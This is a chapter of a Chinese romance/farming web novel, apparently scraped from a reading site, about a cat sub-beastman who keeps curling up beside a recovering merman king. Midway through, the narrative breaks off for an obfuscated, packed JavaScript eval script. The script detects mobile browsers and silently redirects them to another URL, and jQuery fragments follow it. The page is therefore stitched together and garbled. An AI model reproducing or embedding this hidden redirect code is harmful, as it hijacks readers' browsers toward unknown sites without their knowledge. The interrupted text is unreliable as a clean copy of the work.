19.第 19 章

作品:《我鱼呢[种田]

    肉烤好了,幼崽围过来等吃。


    虽然每个幼崽只能吃到一店,但烤肉香喷喷的,幼崽们高兴着呢。


    “争争,下次还要吃这个!”肉爪子搭在白争争手上,啃着光秃秃的骨架道。


    白争争轻弹了下那毛乎乎的小耳朵,“我们再努努力,下次多抓一点。”


    给幼崽吃了零嘴,清那边的晚饭也做好了。


    吃过饭,便又是一天。


    白争争还是照例往床边躺下,但他刚趴好,兽皮底下的幼崽就拱着他道:“争争,你睡里面吧。”


    白争争当他们又不想跟人鱼好了,道:“里面不是有年,不怕。”


    “我们不怕。”芽道。


    白争争困乏闭眼:“那就好……”


    “可是争争,你昨晚踩到我的脑袋了。”


    “对!我的爪垫也被争争踩了。”


    “我肚子也疼。”


    白争争顿时一愣,他微微抬头,看着眼前一个个凑过来的猫猫头,然后默默将脑袋埋入干草中。


    他声音闷闷响起:“我也没吧……会不会是你们记错了。”


    “我醒了的。”


    “我看到争争从我们身上爬过去,然后挨到人鱼身边的。”


    “每晚都这样。”


    “对!每晚都这样!”


    白争争默默用两个爪垫捂住耳朵。


    怎么可能!


    幼崽将他爪子勾下来,黑黢黢的兽皮底下,双眸亮如灯。“争争,要不你就睡里面吧?”


    白争争收回爪子,继续捂耳。


    他们在说什么?


    他没听见。


    烬自然也听到了幼崽毫不避讳的话。


    想起每晚坚持睡在外面,第二早上却在自己身边出现的亚兽人,他眼里溢出一点笑。


    看来不止他每晚上被弄醒,幼崽也深受其害。


    人鱼还在旁边呢,白争争尴尬得想找个地缝钻进去。


    他保证道:“我今晚绝对不会再这样。”


    “可是争争你这样都好久了。”芽像是不懂白争争的尴尬,还扒拉着他,有些苦恼道。


    白争争干脆不说话了。


    放过他吧,真的!


    “争争,你说句话呀。”


    争争不想说话。


    雁一爪子拍在芽的脑门儿:“睡不睡了,争争不是说了。他今晚绝!对!不!会!再!这!样!”


    白争争听雁说得这么笃定,更是心虚。


    但好在,幼崽没有揪着他不放。


    烬默默躺下,闭上眼睛,安静等着。


    木柴燃烧一半,树皮底下响起窸窸窣窣的动静。不出意料,亚兽人踩过幼崽们,又靠了过来。


    烬下颚贴着细软的绒毛,想到睡觉前亚兽人信誓旦旦的保证,翘了翘嘴角。


    不知明早醒来,又是个什么样的景象。


    烬安然入睡,好梦一晚。


    阳光久违的落入洞中,映得昏暗的洞穴里亮堂堂的。


    白争争睡了一个舒坦觉,伸着爪子伸了个懒觉。


    爪垫踩着个软乎的东西,触感颇好,又忍不住多踩了两脚。


    烬被脸上微刺的疼痛感弄醒,不用想就知道是哪个猫在作怪。


    忽觉脸上爪子停下动作,他睁眼,与小猫四目相对。


    白争争爪子一颤,这下被逮了个现行。


    他笑得尴尬,烬却镇定。


    “对、对不起。”亚兽人噌的一下站起来,又被裹在身上的头发绊倒,砸在烬脸上。


    烬抬手扶了他一下。


    白争争爪子撑着他手心,磕磕绊绊道:“谢、谢谢。”


    幸亏毛毛挡着,他耳朵跟脸已经红得不能看了。


    手忙脚乱地钻出人鱼头发下,滑下石床,匆匆忙忙往自己兽皮衣底下一钻,直将自己藏得看不见人鱼才作罢。


    烬侧过身,刚好能见到石床旁边放着的兽皮衣里鼓起的一团。


    小猫只露个白色的尾巴尖,羞得没脸见人。


    烬想,或许他该晚一点睁眼。


    兽皮底下微动,幼崽们从里面钻出来,看烬盯着床下,也齐齐探头看去。


    见那一截尾巴,就知道是白争争。


    芽当即控诉:“争争,你昨晚又踩我了。”


    “争争,你躲着干什么?尾巴还露在外面呢。”雁慢吞吞到。


    那尾巴嗖的一下,立即收了回去。


    白争争团成个球,暂时不想与兽皮外的世界接触。


    这小崽子能不能有点情商,没看他正尴尬呢!


    清蹲在一旁,看了看人鱼,又看看白争争那个不敢见人的样子,勾着年下去,准备早饭去了。


    争争要躲就让他躲一会儿吧。


    反正能躲得了一时,躲不了一世。


    幼崽们怎么控诉,白争争都没个反应。渐渐的,他们也失了兴趣,转个头就玩儿其他去了。


    烬手肘撑着石床,看在兽皮底下闷了好一会儿的小猫,没忍住,轻轻用手勾了勾兽皮。


    “别动!”兽皮底下呜咽出声。


    烬叹息。


    “又没让你不睡。”


    白争争一愣。


    他还以为是幼崽,没想到是烬。


    “出来吧。”


    白争争顿了一下,缓慢地从兽皮里拱出来。他脑袋毛凌乱,一个耳朵被压在兽皮底下,一个耳朵露出来。


    烬看着动了动手指,没有伸手。


    “对、对不起……我也不知道为什么,明明都睡外面了……”


    可是烬身上就跟装了磁铁似的,每晚都能将他吸过去。


    白争争不自在地低着头。


    虽然睡着很、很舒服,但是他没有边界感。


    小猫很小,像绒绒的一个球。


    很乖。


    烬很早以前就像摸一摸他的脑袋,但碍于两人不熟悉,下不去手。


    现在看小猫这个沮丧样,没忍住,掌心落在他头顶。


    两人皆是一怔。


    烬看着那双黑色的眼睛,手动了动,缓慢收回手。


    “我并没有觉得有什么不好,你习惯了,其实我也习惯了。”


    王很少表露自己的内心,但对亚兽人,似乎开口也不是那么难。


    而且作为一个长者,还是被亚兽人救了一条命的,他似乎也不该吝啬自己的话语。


    至少能让他好受一点。


    小猫端坐地面,头上毛毛被捋顺了些。他尾巴落在爪前,仰头还盯着人鱼。


    人鱼说他习惯了。


    小猫耳朵颤动,毛毛地下的皮肤又渐渐变成了红色。


    但这次不是丢脸。


    他不好意思地动动爪子,又看到人鱼包容的眼神,忙道:“我、我去忙去了。”


    烬点头,看小猫拱着兽皮衣跑了。


    也刚成年,在王眼里也还是个小孩呢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200729|165102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    早晨吃过饭,兽人们该干活的干活,该玩儿的玩儿。


    白争争好歹从那尴尬的情况中缓和了过来,只现在还有点不敢看人鱼的眼睛。


    冬季漫长而寒冷,在兽人们的努力下,洞中的工具也渐渐多了不少。


    石刀、石斧已经做了几把,藤编工具也有了几样,再有长矛、草绳、骨针,但凡缺的,都补足了。


    林猫兽人住在海边,也会在海中捕鱼。


    织渔网是每个林猫从小都学习的技能。


    白争争为了让幼崽们打发时间,去弄了不少毛草回来,给幼崽们随意摆弄。


    这样一日,便又过去了。


    晚间睡前,幼崽们早早爬上石床。人鱼仍在里侧,但他们却不怎么怕了。


    白争争刻意等了一会儿,原想等着幼崽睡着了再上去,免得他们又当着人鱼的面抱怨。


    却不想幼崽半点不给他面子,直接道:“争争,你别睡外面了好不好?”


    白争争:“……”


    不孝子!


    “争争,你听见了吗?”幼崽声音含糊。


    都快睡着了还记得这事儿,说明这事儿确实给他们造成了困扰。


    白争争颓然叹气。


    “听见了听见了。”


    脸都丢尽了。


    刚答应下来,幼崽就没声了。


    白争争看着人鱼。


    烬本来打算闭眼,毕竟亚兽人脸皮薄。但没来得及,正正好与他对上。


    白争争不好意思,干脆滚做个猫。


    反正脸上有毛,人鱼又看不出他什么表情。


    他跳上石床,在石床边沿脚像被定住。


    要不……趴下算了?


    可跟前忽然伸过来一只手。


    白争争顺着手看去。


    “过来吗?”烬缓声道。


    白争争狠狠挠了挠干草,自暴自弃,脑袋往他掌心一栽,蜷缩成个球不动了。


    烬将他带到自己这边,将他放在自己身侧。


    这期间白争争一直没抬过头。


    烬收回手,摩挲着掌心残留的温热,缓缓闭眼。


    他给了亚兽人一个台阶下,他应该不会太过难受。


    烬这样想,却慢慢等着。等到一旁的幼崽不知换了多少个姿势,才等来肩上的一抹柔软。


    那一瞬间,他自己都不知道绷紧的眉头舒展开来。


    或许是自然地侧了一下头,烬鼻尖挨着暖绒的毛,沉睡过去。


    总归是习惯了,挨在一起才觉得睡得才能舒坦。


    *


    天光明亮,却好像更冷了些。


    地上厚厚的积雪化了一半,树枝上都能看到冒出来的新芽。


    似乎已经是冬末了。


    烬身上的伤完全好透,疤痕消散,鱼尾透着潋滟的华光。


    洞中,兽人们都紧张地看着他。


    白争争削了根木头当拐杖,放在人鱼跟前道:“你撑着这个,慢慢来。”


    烬此时坐在床沿,鱼尾已经变作腿。


    他腰间围着兽皮,长发及腰,浓密丝滑挡住大半身躯。


    他其实已经能下地走了,但兽人们紧张他,他也接受他们的好意。


    烬杵着拐,缓缓站起。


    白争争就立在他跟前,默默看着人鱼越来越高。直到比他高了一个脑袋。


    他微微眨眼。


    得有一米九了吧。